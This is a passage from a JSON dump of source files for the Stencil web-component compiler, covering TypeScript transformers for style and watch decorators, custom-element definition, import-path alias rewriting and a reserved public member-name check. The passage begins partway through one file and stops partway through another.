    "content": "import { DEFAULT_STYLE_MODE, join } from '@utils';\nimport { basename, dirname, extname } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { ConvertIdentifier, convertValueToLiteral, createStaticGetter } from '../transform-utils';\n\nexport const styleToStatic = (newMembers: ts.ClassElement[], componentOptions: d.ComponentOptions) => {\n  const defaultModeStyles = [];\n\n  if (componentOptions.styleUrls) {\n    if (Array.isArray(componentOptions.styleUrls)) {\n      defaultModeStyles.push(...normalizeStyleUrl(componentOptions.styleUrls));\n    } else {\n      defaultModeStyles.push(...normalizeStyleUrl(componentOptions.styleUrls[DEFAULT_STYLE_MODE]));\n    }\n  }\n\n  if (componentOptions.styleUrl) {\n    defaultModeStyles.push(...normalizeStyleUrl(componentOptions.styleUrl));\n  }\n\n  let styleUrls: d.CompilerModeStyles = {};\n  if (componentOptions.styleUrls && !Array.isArray(componentOptions.styleUrls)) {\n    styleUrls = normalizeStyleUrls(componentOptions.styleUrls);\n  }\n\n  if (defaultModeStyles.length > 0) {\n    styleUrls[DEFAULT_STYLE_MODE] = defaultModeStyles;\n  }\n\n  if (Object.keys(styleUrls).length > 0) {\n    const originalStyleUrls = convertValueToLiteral(styleUrls);\n    newMembers.push(createStaticGetter('originalStyleUrls', originalStyleUrls));\n\n    const norlizedStyleExt = normalizeExtension(styleUrls);\n    const normalizedStyleExp = convertValueToLiteral(norlizedStyleExt);\n    newMembers.push(createStaticGetter('styleUrls', normalizedStyleExp));\n  }\n\n  if (typeof componentOptions.styles === 'string') {\n    const styles = componentOptions.styles.trim();\n    if (styles.length > 0) {\n      // @Component({\n      //   styles: \":host {...}\"\n      // })\n      newMembers.push(createStaticGetter('styles', ts.factory.createStringLiteral(styles)));\n    }\n  } else if (componentOptions.styles) {\n    const convertIdentifier = componentOptions.styles as any as ConvertIdentifier;\n    if (convertIdentifier.__identifier) {\n      // import styles from './styles.css';\n      // @Component({\n      //   styles\n      // })\n      const stylesIdentifier = convertIdentifier.__escapedText;\n      newMembers.push(createStaticGetter('styles', ts.factory.createIdentifier(stylesIdentifier)));\n    } else if (typeof convertIdentifier === 'object') {\n      // import ios from './ios.css';\n      // import md from './md.css';\n      // @Component({\n      //   styles: {\n      //     ios\n      //     md\n      //   }\n      // })\n      if (Object.keys(convertIdentifier).length > 0) {\n        newMembers.push(createStaticGetter('styles', convertValueToLiteral(convertIdentifier)));\n      }\n    }\n  }\n};\n\nconst normalizeExtension = (styleUrls: d.CompilerModeStyles) => {\n  const compilerStyleUrls: d.CompilerModeStyles = {};\n  Object.keys(styleUrls).forEach((key) => {\n    compilerStyleUrls[key] = styleUrls[key].map((s) => useCss(s));\n  });\n  return compilerStyleUrls;\n};\n\nconst useCss = (stylePath: string) => {\n  const sourceFileDir = dirname(stylePath);\n  const sourceFileExt = extname(stylePath);\n  const sourceFileName = basename(stylePath, sourceFileExt);\n  return join(sourceFileDir, sourceFileName + '.css');\n};\n\nconst normalizeStyleUrls = (styleUrls: d.ModeStyles): d.CompilerModeStyles => {\n  const compilerStyleUrls: d.CompilerModeStyles = {};\n  Object.keys(styleUrls).forEach((key) => {\n    compilerStyleUrls[key] = normalizeStyleUrl(styleUrls[key]);\n  });\n  return compilerStyleUrls;\n};\n\nconst normalizeStyleUrl = (style: string | string[] | undefined) => {\n  if (Array.isArray(style)) {\n    return style;\n  }\n  if (style) {\n    return [style];\n  }\n  return [];\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/watch-decorator.ts",
    "content": "import { flatOne } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { convertValueToLiteral, createStaticGetter, retrieveTsDecorators } from '../transform-utils';\nimport { getDecoratorParameters, isDecoratorNamed } from './decorator-utils';\n\nexport const watchDecoratorsToStatic = (\n  typeChecker: ts.TypeChecker,\n  decoratedProps: ts.ClassElement[],\n  newMembers: ts.ClassElement[],\n  decoratorName: string,\n) => {\n  const watchers = decoratedProps\n    .filter(ts.isMethodDeclaration)\n    .map((method) => parseWatchDecorator(typeChecker, method, decoratorName));\n\n  const flatWatchers = flatOne(watchers);\n\n  if (flatWatchers.length > 0) {\n    newMembers.push(createStaticGetter('watchers', convertValueToLiteral(flatWatchers)));\n  }\n};\n\nconst parseWatchDecorator = (\n  typeChecker: ts.TypeChecker,\n  method: ts.MethodDeclaration,\n  decoratorName: string,\n): d.ComponentCompilerChangeHandler[] => {\n  const methodName = method.name.getText();\n  const decorators = retrieveTsDecorators(method) ?? [];\n  return decorators.filter(isDecoratorNamed(decoratorName)).map((decorator) => {\n    const [propName, handlerOptions] = getDecoratorParameters<string, { immediate?: boolean }>(decorator, typeChecker);\n\n    if (handlerOptions) {\n      return {\n        propName,\n        methodName,\n        handlerOptions,\n      };\n    }\n\n    return {\n      propName,\n      methodName,\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/define-custom-element.ts",
    "content": "import { formatComponentRuntimeMeta } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { addCoreRuntimeApi, DEFINE_CUSTOM_ELEMENT, RUNTIME_APIS, TRANSFORM_TAG } from './core-runtime-apis';\nimport { convertValueToLiteral } from './transform-utils';\n\nexport const defineCustomElement = (\n  tsSourceFile: ts.SourceFile,\n  moduleFile: d.Module,\n  transformOpts: d.TransformOptions,\n) => {\n  let statements = tsSourceFile.statements.slice();\n\n  statements.push(\n    ...moduleFile.cmps.map((cmp) => {\n      return addDefineCustomElement(moduleFile, cmp);\n    }),\n  );\n\n  if (transformOpts.module === 'cjs') {\n    // remove commonjs exports keyword from component classes\n    statements = removeComponentCjsExport(statements, moduleFile);\n  }\n\n  return ts.factory.updateSourceFile(tsSourceFile, statements);\n};\n\nconst addDefineCustomElement = (moduleFile: d.Module, compilerMeta: d.ComponentCompilerMeta) => {\n  if (compilerMeta.isPlain) {\n    // add customElements.define(transformTag('cmp-a'), CmpClass);\n    return ts.factory.createExpressionStatement(\n      ts.factory.createCallExpression(\n        ts.factory.createPropertyAccessExpression(\n          ts.factory.createIdentifier('customElements'),\n          ts.factory.createIdentifier('define'),\n        ),\n        [],\n        [\n          ts.factory.createCallExpression(\n            ts.factory.createIdentifier(TRANSFORM_TAG),\n            [],\n            [ts.factory.createStringLiteral(compilerMeta.tagName)],\n          ),\n          ts.factory.createIdentifier(compilerMeta.componentClassName),\n        ],\n      ),\n    );\n  }\n\n  addCoreRuntimeApi(moduleFile, RUNTIME_APIS.transformTag);\n  addCoreRuntimeApi(moduleFile, RUNTIME_APIS.defineCustomElement);\n  const compactMeta: d.ComponentRuntimeMetaCompact = formatComponentRuntimeMeta(compilerMeta, true);\n\n  const liternalCmpClassName = ts.factory.createIdentifier(compilerMeta.componentClassName);\n  const liternalMeta = convertValueToLiteral(compactMeta);\n\n  return ts.factory.createExpressionStatement(\n    ts.factory.createCallExpression(\n      ts.factory.createIdentifier(DEFINE_CUSTOM_ELEMENT),\n      [],\n      [liternalCmpClassName, liternalMeta],\n    ),\n  );\n};\n\nconst removeComponentCjsExport = (statements: ts.Statement[], moduleFile: d.Module) => {\n  const cmpClassNames = new Set<string>(moduleFile.cmps.map((cmp) => cmp.componentClassName));\n\n  return statements.filter((s) => {\n    if (s.kind === ts.SyntaxKind.ExpressionStatement) {\n      const exp = (s as ts.ExpressionStatement).expression as ts.BinaryExpression;\n      if (exp && exp.kind === ts.SyntaxKind.BinaryExpression) {\n        const left = exp.left as ts.PropertyAccessExpression;\n        if (left && left.kind === ts.SyntaxKind.PropertyAccessExpression) {\n          if (left.expression && left.expression.kind === ts.SyntaxKind.Identifier) {\n            const leftText = left.expression as ts.Identifier;\n            if (leftText.text === 'exports') {\n              const right = exp.right as ts.Identifier;\n              if (right && cmpClassNames.has(right.text)) {\n                return false;\n              }\n            }\n          }\n        }\n      }\n    }\n    return true;\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/detect-modern-prop-decls.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { getStaticValue } from './transform-utils';\n\n/**\n * With a ts config of `target: 'es2022', useDefineForClassFields: true`\n * compiled Stencil components went from:\n *\n * ```ts\n * class MyComponent {\n *   constructor(hostRef) {\n *     this.prop1 = 'value1';\n *   }\n * }\n * ```\n * To:\n * ```ts\n * class MyComponent {\n *  prop1 = 'value1';\n *  // ^^ These new property declarations cause issues with\n *  // Stencil runtime `@State` / `@Prop` handling\n * }\n * ```\n * This detects the presence of these prop declarations,\n * switches on a flag so  we can handle them at runtime.\n *\n * @param classNode the parental class node\n * @param cmp metadata about the stencil component of interest\n * @returns true if the class has modern property declarations, false otherwise\n */\nexport const detectModernPropDeclarations = (classNode: ts.ClassDeclaration, sourceFile?: ts.SourceFile) => {\n  const parsedProps: { [key: string]: d.ComponentCompilerProperty } = getStaticValue(classNode.members, 'properties');\n  const parsedStates: { [key: string]: d.ComponentCompilerProperty } = getStaticValue(classNode.members, 'states');\n\n  if (!parsedProps && !parsedStates) {\n    return false;\n  }\n\n  const members = [...Object.entries(parsedProps || {}), ...Object.entries(parsedStates || {})];\n  let hasModernPropertyDecls = false;\n\n  for (const [propName, meta] of members) {\n    // comb through the class' body members to find a corresponding, 'modern' prop initializer\n    const dynamicPropName = meta.ogPropName || '';\n\n    // looking for `[example]` or `example` class property declarations\n    const prop = classNode.members.find((m) => {\n      return (\n        ts.isPropertyDeclaration(m) &&\n        ((ts.isComputedPropertyName(m.name) && m.name.expression.getText(sourceFile) === dynamicPropName) ||\n          m.name.getText(sourceFile) === propName)\n      );\n    }) as any as ts.PropertyDeclaration;\n\n    if (!prop) continue;\n\n    hasModernPropertyDecls = true;\n    break;\n  }\n\n  return hasModernPropertyDecls;\n};\n"
  },
  {
    "path": "src/compiler/transformers/host-data-transform.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { addCoreRuntimeApi, H, HOST, RUNTIME_APIS } from './core-runtime-apis';\nimport { retrieveModifierLike } from './transform-utils';\n\nexport const transformHostData = (classElements: ts.ClassElement[], moduleFile: d.Module) => {\n  const hasHostData = classElements.some(\n    (e) => ts.isMethodDeclaration(e) && (e.name as any).escapedText === 'hostData',\n  );\n  if (hasHostData) {\n    const renderIndex = classElements.findIndex(\n      (e) => ts.isMethodDeclaration(e) && (e.name as any).escapedText === 'render',\n    );\n    if (renderIndex >= 0) {\n      const renderMethod = classElements[renderIndex] as ts.MethodDeclaration;\n      classElements[renderIndex] = ts.factory.updateMethodDeclaration(\n        renderMethod,\n        retrieveModifierLike(renderMethod),\n        renderMethod.asteriskToken,\n        ts.factory.createIdentifier(INTERNAL_RENDER),\n        renderMethod.questionToken,\n        renderMethod.typeParameters,\n        renderMethod.parameters,\n        renderMethod.type,\n        renderMethod.body,\n      );\n    }\n    classElements.push(syntheticRender(moduleFile, renderIndex >= 0));\n  }\n};\n\nconst syntheticRender = (moduleFile: d.Module, hasRender: boolean) => {\n  addCoreRuntimeApi(moduleFile, RUNTIME_APIS.Host);\n  addCoreRuntimeApi(moduleFile, RUNTIME_APIS.h);\n\n  const hArguments = [\n    // __stencil_Host\n    ts.factory.createIdentifier(HOST),\n    // this.hostData()\n    ts.factory.createCallExpression(\n      ts.factory.createPropertyAccessExpression(ts.factory.createThis(), 'hostData'),\n      undefined,\n      undefined,\n    ),\n  ];\n  if (hasRender) {\n    hArguments.push(\n      // this.render()\n      ts.factory.createCallExpression(\n        ts.factory.createPropertyAccessExpression(ts.factory.createThis(), INTERNAL_RENDER),\n        undefined,\n        undefined,\n      ),\n    );\n  }\n\n  /**\n   * render() {\n   *   return h(arguments);\n   * }\n   */\n  return ts.factory.createMethodDeclaration(\n    undefined,\n    undefined,\n    'render',\n    undefined,\n    undefined,\n    [],\n    undefined,\n    ts.factory.createBlock([\n      ts.factory.createReturnStatement(\n        ts.factory.createCallExpression(ts.factory.createIdentifier(H), undefined, hArguments),\n      ),\n    ]),\n  );\n};\n\nconst INTERNAL_RENDER = '__stencil_render';\n"
  },
  {
    "path": "src/compiler/transformers/map-imports-to-path-aliases.ts",
    "content": "import { normalizePath, relative } from '@utils';\nimport { dirname } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { retrieveTsModifiers } from './transform-utils';\n\n/**\n * This method is responsible for replacing user-defined import path aliases ({@link https://www.typescriptlang.org/docs/handbook/module-resolution.html#path-mapping})\n * with generated relative import paths during the transformation step of the TS compilation process.\n * This action is taken to prevent issues with import paths not being transpiled at build time resulting in\n * unknown imports in output code for some output targets (`dist-collection` for instance). Output targets that do not run through a bundler\n * are unable to resolve imports using the aliased path names and TS intentionally does not replace resolved paths as a part of\n * their compiler ({@link https://github.com/microsoft/TypeScript/issues/10866})\n *\n * @param config The Stencil configuration object.\n * @param destinationFilePath The location on disk the file will be written to.\n * @param outputTarget The configuration for the collection output target.\n * @returns A factory for creating a {@link ts.Transformer}.\n */\nexport const mapImportsToPathAliases = (\n  config: d.ValidatedConfig,\n  destinationFilePath: string,\n  outputTarget: d.OutputTargetDistCollection,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return (transformCtx) => {\n    const compilerHost = ts.createCompilerHost(config.tsCompilerOptions);\n\n    const visit =\n      (sourceFile: string) =>\n      (node: ts.Node): ts.VisitResult<ts.Node> => {\n        // Only transform paths when the `transformAliasedImportPaths` flag is\n        // set on the output target config\n        //\n        // We should only attempt to transform standard module imports:\n        // - import * as ts from 'typescript';\n        // - import { Foo, Bar } from 'baz';\n        // - import { Foo as Bar } from 'baz';\n        // - import Foo from 'bar';\n        // We should NOT transform other import declaration types:\n        // - import a = Foo.Bar\n        if (\n          outputTarget.transformAliasedImportPaths &&\n          ts.isImportDeclaration(node) &&\n          ts.isStringLiteral(node.moduleSpecifier)\n        ) {\n          let importPath = node.moduleSpecifier.text;\n\n          // We will ignore transforming any paths that are already relative paths or\n          // imports from external modules/packages\n          if (!importPath.startsWith('.')) {\n            const module = ts.resolveModuleName(importPath, sourceFile, config.tsCompilerOptions, compilerHost);\n\n            const hasResolvedFileName = module.resolvedModule?.resolvedFileName != null;\n            const isModuleFromNodeModules = module.resolvedModule?.isExternalLibraryImport === true;\n            const shouldTranspileImportPath = hasResolvedFileName && !isModuleFromNodeModules;\n\n            if (shouldTranspileImportPath) {\n              // Create a regular expression that will be used to remove the last file extension\n              // from the import path\n              const extensionRegex = new RegExp(\n                Object.values(ts.Extension)\n                  .map((extension) => `${extension.replace('.', '\\\\.')}$`)\n                  .join('|'),\n              );\n\n              // In order to make sure the relative path works when the destination depth is different than the source\n              // file structure depth, we need to determine where the resolved file exists relative to the destination directory\n              const resolvePathInDestination = module.resolvedModule.resolvedFileName.replace(\n                config.srcDir,\n                outputTarget.collectionDir,\n              );\n\n              importPath = normalizePath(\n                relative(dirname(destinationFilePath), resolvePathInDestination).replace(extensionRegex, ''),\n              );\n              // if the importee is a sibling file of the importer then `relative` will\n              // produce a somewhat confusing result. We use `dirname` to get the\n              // directory of the importer, so for example, assume we have two files\n              // `foo/bar.ts` and `foo/baz.ts` like so:\n              //\n              // ```\n              // foo\n              // ├── bar.ts\n              // └── baz.ts\n              // ```\n              //\n              // then if `baz.ts` imports a symbol from `bar.ts` we'll call\n              // `relative(fromdir, to)` like so:\n              //\n              // ```ts\n              // relative(dirname(\"foo/baz.ts\"), \"foo/bar.ts\")\n              // // equivalently\n              // relative(\"foo\", \"foo/bar.ts\")\n              // ```\n              //\n              // you'd think that in this case `relative` would return `'./bar.ts'` as\n              // a correct relative path to `bar.ts` from the `foo` directory, but\n              // actually in this case it returns just `bar.ts`. So since when updating\n              // import paths we're only concerned with `paths` aliases that should be\n              // transformed to relative imports anyway, we check to see if the new\n              // `importPath` starts with `'.'`, and add `'./'` if it doesn't, since\n              // otherwise Node will interpret `bar` as a module name, not a relative\n              // path.\n              //\n              // Note also that any relative paths as module specifiers which _don't_\n              // need to be transformed (e.g. `'./foo'`) have already been handled\n              // above.\n              importPath = importPath.startsWith('.') ? importPath : './' + importPath;\n            }\n          }\n\n          return transformCtx.factory.updateImportDeclaration(\n            node,\n            retrieveTsModifiers(node),\n            node.importClause,\n            transformCtx.factory.createStringLiteral(importPath),\n            node.assertClause,\n          );\n        }\n\n        return ts.visitEachChild(node, visit(sourceFile), transformCtx);\n      };\n\n    return (tsSourceFile) => {\n      return ts.visitEachChild(tsSourceFile, visit(tsSourceFile.fileName), transformCtx);\n    };\n  };\n};\n"
  },
  {
    "path": "src/compiler/transformers/reactive-handler-meta-transform.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { convertValueToLiteral, createStaticGetter } from './transform-utils';\nimport { WATCH_FLAGS } from '@utils';\n\n/**\n * Add a getter to a class for a static representation of the watchers\n * registered on the Stencil component.\n *\n * *Note*: this will conditionally mutate the `classMembers` param, adding a\n * new element.\n *\n * @param classMembers a list of class members\n * @param cmp metadata about the stencil component of interest\n */\nexport const addReactivePropHandlers = (\n  classMembers: ts.ClassElement[],\n  cmp: d.ComponentCompilerMeta,\n  decorator: 'watchers' | 'serializers' | 'deserializers',\n) => {\n  if (cmp[decorator].length > 0) {\n    const watcherObj: d.ComponentConstructorChangeHandlers = {};\n\n    cmp[decorator].forEach(({ propName, methodName, handlerOptions }) => {\n      watcherObj[propName] = watcherObj[propName] || [];\n\n      let watcherFlags = 0;\n      if (handlerOptions?.immediate) {\n        watcherFlags |= WATCH_FLAGS.Immediate;\n      }\n      watcherObj[propName].push({ [methodName]: watcherFlags });\n    });\n    classMembers.push(createStaticGetter(decorator, convertValueToLiteral(watcherObj)));\n  }\n};\n"
  },
  {
    "path": "src/compiler/transformers/remove-collection-imports.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\n\nexport const removeCollectionImports = (compilerCtx: d.CompilerCtx): ts.TransformerFactory<ts.SourceFile> => {\n  /*\n    // remove side effect collection imports like:\n    import 'ionicons';\n\n    // do not remove collection imports with importClauses:\n    import * as asdf 'ionicons';\n    import { asdf } '@ionic/core';\n  */\n  return () => {\n    return (tsSourceFile) => {\n      let madeUpdates = false;\n      const statements = tsSourceFile.statements.slice();\n\n      for (let i = statements.length - 1; i >= 0; i--) {\n        const n = statements[i];\n        if (ts.isImportDeclaration(n)) {\n          if (!n.importClause && n.moduleSpecifier && ts.isStringLiteral(n.moduleSpecifier)) {\n            // must not have an import clause\n            // must have a module specifier and\n            // the module specifier must be a string literal\n            const importPath = n.moduleSpecifier.text;\n\n            // test if this side effect import is a collection\n            const isCollectionImport = compilerCtx.collections.some((c) => {\n              return c.collectionName === importPath || c.moduleId === importPath;\n            });\n\n            if (isCollectionImport) {\n              // turns out this is a side effect import is a collection,\n              // we actually don't want to include this in the JS output\n              // we've already gathered the types we needed, kthxbai\n              madeUpdates = true;\n              statements.splice(i, 1);\n            }\n          }\n        }\n      }\n\n      if (madeUpdates) {\n        return ts.factory.updateSourceFile(tsSourceFile, statements);\n      }\n      return tsSourceFile;\n    };\n  };\n};\n"
  },
  {
    "path": "src/compiler/transformers/remove-static-meta-properties.ts",
    "content": "import { readOnlyArrayHasStringMember } from '@utils';\nimport ts from 'typescript';\n\nimport { StencilStaticGetter } from './decorators-to-static/decorators-constants';\nimport { retrieveTsModifiers } from './transform-utils';\n\n/**\n * Creates a new collection of class members that belong to the provided class node and that do not exist in\n * {@link STATIC_GETTERS_TO_REMOVE}\n * @param classNode the class node in the syntax tree to inspect\n * @returns a new collection of class members belonging to the provided class node, less those found in\n * {@link STATIC_GETTERS_TO_REMOVE}\n */\nexport const removeStaticMetaProperties = (classNode: ts.ClassDeclaration): ts.ClassElement[] => {\n  if (classNode.members == null) {\n    return [];\n  }\n  return classNode.members.filter((classMember) => {\n    if (retrieveTsModifiers(classMember)?.some((m) => m.kind === ts.SyntaxKind.StaticKeyword)) {\n      const memberName = (classMember.name as any).escapedText;\n\n      if (readOnlyArrayHasStringMember(STATIC_GETTERS_TO_REMOVE, memberName)) {\n        return false;\n      }\n    }\n    return true;\n  });\n};\n\n/**\n * A list of the static getters to remove here, which is a subset of the total\n * set of static getters used by Stencil during the compilation process.\n */\nconst STATIC_GETTERS_TO_REMOVE = [\n  // we want to remove `attachInternalsMemberName`, which is an 'internal' static\n  // property used to pass a string value along from the 'decorators-to-static'\n  // step through to the `ComponentCompilerMeta` phase, but we want to keep the\n  // `formAssociated` prop that we also set at the same time.\n  'attachInternalsMemberName',\n  'deserializers',\n  'elementRef',\n  'encapsulation',\n  'events',\n  'is',\n  'listeners',\n  'methods',\n  'originalStyleUrls',\n  'properties',\n  'serializers',\n  'states',\n  'style',\n  'styleMode',\n  'styleUrl',\n  'styleUrls',\n  'styles',\n  'watchers',\n] as const satisfies readonly StencilStaticGetter[];\n"
  },
  {
    "path": "src/compiler/transformers/reserved-public-members.ts",
    "content": "import { augmentDiagnosticWithNode, buildWarn } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\n\n/**\n * Determine if a public class member collides with a reserved name for HTML elements, nodes, or JSX\n * @param diagnostics a collection of compiler diagnostics. If a naming collision is found, a diagnostic detected must\n * be added to this collection\n * @param memberName the name of the class member to check for collision\n * @param decorator the decorator associated with the class member, used in providing richer error diagnostics\n * @param memberType a string representing the class member's type. e.g. 'prop'. Used in providing richer error\n * diagnostics\n * @param node the TypeScript AST node at which the class member is defined\n */\nexport const validatePublicName = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  memberName: string,\n  decorator: string,\n  memberType: string,\n  node: ts.Node,\n): void => {\n  if (config.suppressReservedPublicNameWarnings) {\n    return;\n  }\n\n  if (RESERVED_PUBLIC_MEMBERS.has(memberName.toLowerCase())) {\n    const warn = buildWarn(diagnostics);\n    warn.messageText = [\n      `The ${decorator} name \"${memberName}\" is a reserved public name. `,\n      `Please rename the \"${memberName}\" ${memberType} so it does not conflict with an existing standardized prototype member. `,\n      `Reusing ${memberType} names that are already defined on the element's prototype may cause `,\n      `unexpected runtime errors or user-interface issues on various browsers, so it's best to avoid them entirely.`,\n    ].join('');\n    augmentDiagnosticWithNode(warn, node);\n    return;\n  }\n};\n\nconst HTML_ELEMENT_KEYS = [\n  'popover',\n  'title',\n  'lang',\n  'translate',\n  'dir',\n  // 'dataset',\n  // 'hidden',\n  'tabIndex',\n  'accessKey',\n  'draggable',\n  // 'spellcheck',\n  // 'autocapitalize',\n  'contentEditable',\n  'isContentEditable',\n  // 'inputMode',\n  'offsetParent',\n  'offsetTop',\n  'offsetLeft',\n  'offsetWidth',\n  'offsetHeight',\n  'style',\n  'innerText',\n  'outerText',\n  'oncopy',\n  'oncut',\n  'onpaste',\n  'onabort',\n  'onblur',\n  'oncancel',\n  'oncanplay',\n  'oncanplaythrough',\n  'onchange',\n  'onclick',\n  'onclose',\n  'oncontextmenu',\n  'oncuechange',\n  'ondblclick',\n  'ondrag',\n  'ondragend',\n  'ondragenter',\n  'ondragleave',\n  'ondragover',\n  'ondragstart',\n  'ondrop',\n  'ondurationchange',\n  'onemptied',\n  'onended',\n  'onerror',\n  'onfocus',\n  'onfocusin',\n  'onfocusout',\n  'oninput',\n  'oninvalid',\n  'onkeydown',\n  'onkeypress',\n  'onkeyup',\n  'onload',\n  'onloadeddata',\n  'onloadedmetadata',\n  'onloadstart',\n  'onmousedown',\n  'onmouseenter',\n  'onmouseleave',\n  'onmousemove',\n  'onmouseout',\n  'onmouseover',\n  'onmouseup',\n  'onmousewheel',\n  'onpause',\n  'onplay',\n  'onplaying',\n  'onprogress',\n  'onratechange',\n  'onreset',\n  'onresize',\n  'onscroll',\n  'onseeked',\n  'onseeking',\n  'onselect',\n  'onstalled',\n  'onsubmit',\n  'onsuspend',\n  'ontimeupdate',\n  'ontoggle',\n  'onvolumechange',\n  'onwaiting',\n  'onwheel',\n  'onauxclick',\n  'ongotpointercapture',\n  'onlostpointercapture',\n  'onpointerdown',\n  'onpointermove',\n  'onpointerup',\n  'onpointercancel',\n  'onpointerover',\n  'onpointerout',\n  'onpointerenter',\n  'onpointerleave',\n  'onselectstart',\n  'onselectionchange',\n  'nonce',\n  'click',\n  'focus',\n  'blur',\n];\n\nconst ELEMENT_KEYS = [\n  'namespaceURI',\n  'prefix',\n  'localName',\n  'tagName',\n  'id',\n  'className',\n  'classList',\n  'slot',\n  'attributes',\n  'shadowRoot',\n  'assignedSlot',\n  'innerHTML',\n  'outerHTML',\n  'scrollTop',\n  'scrollLeft',\n  'scrollWidth',\n  'scrollHeight',\n  'clientTop',\n  'clientLeft',\n  'clientWidth',\n  'clientHeight',\n  'attributeStyleMap',\n  'onbeforecopy',\n  'onbeforecut',\n  'onbeforepaste',\n  'onsearch',\n  'previousElementSibling',\n  'nextElementSibling',\n  'children',\n  'firstElementChild',\n  'lastElementChild',\n  'childElementCount',\n  'onfullscreenchange',\n  'onfullscreenerror',\n  'onwebkitfullscreenchange',\n  'onwebkitfullscreenerror',\n  'setPointerCapture',\n  'releasePointerCapture',\n  'hasPointerCapture',\n  'hasAttributes',\n  'getAttributeNames',\n  'getAttribute',\n  'getAttributeNS',\n  'setAttribute',\n  'setAttributeNS',\n  'removeAttribute',\n  'removeAttributeNS',\n  'hasAttribute',\n  'hasAttributeNS',\n  'toggleAttribute',\n  'getAttributeNode',\n  'getAttributeNodeNS',\n  'setAttributeNode',\n  'setAttributeNodeNS',\n  'removeAttributeNode',\n  'closest',\n  'matches',\n  'webkitMatchesSelector',\n  'attachShadow',\n  'getElementsByTagName',\n  'getElementsByTagNameNS',\n  'getElementsByClassName',\n  'insertAdjacentElement',\n  'insertAdjacentText',\n  'insertAdjacentHTML',\n  'requestPointerLock',\n  'getClientRects',\n  'getBoundingClientRect',\n  'scrollIntoView',\n  'scroll',\n  'scrollTo',\n  'scrollBy',\n  'scrollIntoViewIfNeeded',\n  'animate',\n  'computedStyleMap',\n  'before',\n  'after',\n  'replaceWith',\n  'remove',\n  'prepend',\n  'append',\n  'querySelector',\n  'querySelectorAll',\n  'requestFullscreen',\n  'webkitRequestFullScreen',\n  'webkitRequestFullscreen',\n  'part',\n  'createShadowRoot',\n  'getDestinationInsertionPoints',\n];\n\nconst NODE_KEYS = [\n  'ELEMENT_NODE',\n  'ATTRIBUTE_NODE',\n  'TEXT_NODE',\n  'CDATA_SECTION_NODE',\n  'ENTITY_REFERENCE_NODE',\n  'ENTITY_NODE',\n  'PROCESSING_INSTRUCTION_NODE',\n  'COMMENT_NODE',\n  'DOCUMENT_NODE',\n  'DOCUMENT_TYPE_NODE',\n  'DOCUMENT_FRAGMENT_NODE',\n  'NOTATION_NODE',\n  'DOCUMENT_POSITION_DISCONNECTED',\n  'DOCUMENT_POSITION_PRECEDING',\n  'DOCUMENT_POSITION_FOLLOWING',\n  'DOCUMENT_POSITION_CONTAINS',\n  'DOCUMENT_POSITION_CONTAINED_BY',\n  'DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC',\n  'nodeType',\n  'nodeName',\n  'baseURI',\n  'isConnected',\n  'ownerDocument',\n  'parentNode',\n  'parentElement',\n  'childNodes',\n  'firstChild',\n  'lastChild',\n  'previousSibling',\n  'nextSibling',\n  'nodeValue',\n  'textContent',\n  'hasChildNodes',\n  'getRootNode',\n  'normalize',\n  'cloneNode',\n  'isEqualNode',\n  'isSameNode',\n  'compareDocumentPosition',\n  'contains',\n  'lookupPrefix',\n  'lookupNamespaceURI',\n  'isDefaultNamespace',\n  'insertBefore',\n  'appendChild',\n  'replaceChild',\n  'removeChild',\n];\n\nconst JSX_KEYS = ['ref', 'key'];\n\nconst ALL_KEYS = [...HTML_ELEMENT_KEYS, ...ELEMENT_KEYS, ...NODE_KEYS, ...JSX_KEYS].map((p) => p.toLowerCase());\n\nconst RESERVED_PUBLIC_MEMBERS = new Set(ALL_KEYS);\n"
  },
  {
    "path": "src/compiler/transformers/rewrite-aliased-paths.ts",
    "content": "import { normalizePath, relative } from '@utils';\nimport { dirname } from 'path';\nimport ts from 'typescript';\n\nimport { retrieveTsModifiers } from './transform-utils';\n\n/**\n * Transform module import paths aliased with `paths` in `tsconfig.json` to\n * relative imported in `.d.ts` files.\n *\n * @param transformCtx a TypeScript transformation context\n * @returns a TypeScript transformer\n */\nexport function rewriteAliasedDTSImportPaths(\n  transformCtx: ts.TransformationContext,\n): ts.Transformer<ts.Bundle | ts.SourceFile> {\n  const compilerHost = ts.createCompilerHost(transformCtx.getCompilerOptions());\n\n  return (tsBundleOrSourceFile) => {\n    const fileName = ts.isBundle(tsBundleOrSourceFile)\n      ? tsBundleOrSourceFile.getSourceFile().fileName\n      : tsBundleOrSourceFile.fileName;\n\n    return ts.visitEachChild(tsBundleOrSourceFile, visit(compilerHost, transformCtx, fileName), transformCtx);\n  };\n}\n\n/**\n * Transform modules aliased with `paths` in `tsconfig.json` to relative\n * imported in source files.\n *\n * @param transformCtx a TypeScript transformation context\n * @returns a TypeScript transformer\n */\nexport function rewriteAliasedSourceFileImportPaths(\n  transformCtx: ts.TransformationContext,\n): ts.Transformer<ts.SourceFile> {\n  const compilerHost = ts.createCompilerHost(transformCtx.getCompilerOptions());\n\n  return (tsSourceFile) => {\n    return ts.visitEachChild(tsSourceFile, visit(compilerHost, transformCtx, tsSourceFile.fileName), transformCtx);\n  };\n}\n\n/**\n * Visitor function used when rewriting aliased paths in both source files and\n * `.d.ts` output.\n *\n * @param compilerHost a TS compiler host\n * @param transformCtx a TS transformation context\n * @param sourceFilePath the path to the source file being visited\n * @returns a visitor which takes a node and optionally transforms imports\n */\nfunction visit(compilerHost: ts.CompilerHost, transformCtx: ts.TransformationContext, sourceFilePath: string) {\n  return (node: ts.Node): ts.VisitResult<ts.Node> => {\n    if (!ts.isImportDeclaration(node)) {\n      return node;\n    }\n    return 